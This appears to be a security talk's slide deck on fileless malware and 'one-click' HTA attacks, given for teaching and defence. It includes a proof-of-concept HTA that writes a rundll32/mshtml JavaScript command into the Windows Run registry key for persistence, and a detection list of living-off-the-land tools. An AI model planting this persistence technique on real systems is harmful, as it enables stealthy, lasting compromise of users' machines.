



# One-Click Fileless Infection

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# Agenda


- Fileless infection
  - Introduction
  - How it works
  - Notable fileless malwares
- One click Fraud
  - MSHTA.EXE/HTA
  - HTA vs. HTML
- One-click fileless infection
  - Proof of Concept
  - Best Practices to prevent one-click fileless infection





# Fileless Infection

# Introduction

- Fileless infection is a malicious coding that exists only in memory and no trace of the file on hard disk
- Main purpose: to avoid AV detection



## How does it works?



# Notable Fileless Malwares (early)

- Poweliks
  - Discovered in 2014, from Wowliks to Poweliks
  - Uses powershell to launch and injects its DLL watchdog
  - Main payload is to deliver ad-fraud Trojans and Ransomware to the compromised computer
- Bedep
  - Used CVE-2015-0016 exploit to raise its privilege level
  - It comes 32-bit and 64-bit variants
  - Main purpose of this malware is to turn compromised computers into botnets
- Kotver
  - It can do both fileless and file-based infection
  - It has been observed to deliver ransoms and banking Trojan for further infection



# One-Click Fraud


# One click Fraud

- Fraud where only one click is needed
- Mostly done using HTA files
- File ask permission to run and MSHTA engine got higher privilege than normal JS and runs outside the Sandbox
- Uses ActiveXcontrol to perform activities






# How it works



## General IE Architecture and applications



<https://gallery.technet.microsoft.com/IE-Architecture-3bc7c3fd/file/78635/1/IE%20Architecture.png>

# MSHTA.EXE and HTA


- Mshta.exe – this program is an implementation of the WebBrowser control that runs trusted HTML and scripts with a minimal user interface (UI)
- HTA (HTML Application) - executes without the constraints of the Internet browser security model.

**So why don't users just use an HTML file???**



# HTML

- Whenever a users run scripts from an HTML file they are presented with a dialog box.
- The execution is confined to the security model of the web browser, which is confined to communicating with the server, manipulating the page's object model and reading or writing cookies.



# HTA

- HTA are not bound by the same security restrictions as IE, because HTAs run in a different process from IE.
- HTA runs as a fully trusted application and therefore has more privileges than a normal HTML file; for example, an HTA can create, edit and remove files and registry entries.
- Although HTAs run in this “trusted” environment, querying Active Directory can be subject to *Internet Explorer Zone* logic and associated error messages.



# One-Click Fileless infection

Fileless infection + One-click fraud method

# Remix ALL the media!





# It's time to remix them

Inject this

```
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('payload');
```

To this registry entry

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
```

```

/*****POC*****/
<html>
<head>
<title>RegTest</title>
<script language="JavaScript">
function writeInRegistry(sRegEntry, sRegValue)
{
    var regpath = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + sRegEntry;
    var oWSS = new ActiveXObject("WScript.Shell");
    oWSS.RegWrite(regpath, sRegValue, "REG_SZ");
}


function readFromRegistry(sRegEntry)
{
    var regpath = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + sRegEntry;    /*Payload injected
in run registry entry*/
    var oWSS = new ActiveXObject("WScript.Shell"); /*WSCRIPT ActiveX object created which is used to inject the Malicious JS in registry*/
    return oWSS.RegRead(regpath);
}

function tst()
{
    writeInRegistry("malware", "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";alert('payload');"); /*Payload is the JS
payload which does the real malicious stuff and it got watchdog, for keeping an eye over the registry entry which makes the infection
persistent*/
    alert(readFromRegistry("malware"));
}
</script>
</head>
<body>
Click here to run test: <input type="button" value="Run" onclick="tst()"
</body>
</html>
/*****POC end*****/

```

# Demo

# How the attack works



# Q&A

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# Thank you!

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# Best Practices

- Never treat HTA files as HTML files
- Dynamically detect orphan registry entries that call Powershell, WSCRIPT, CSCRIPT, cmd, rundll32 or regsvr32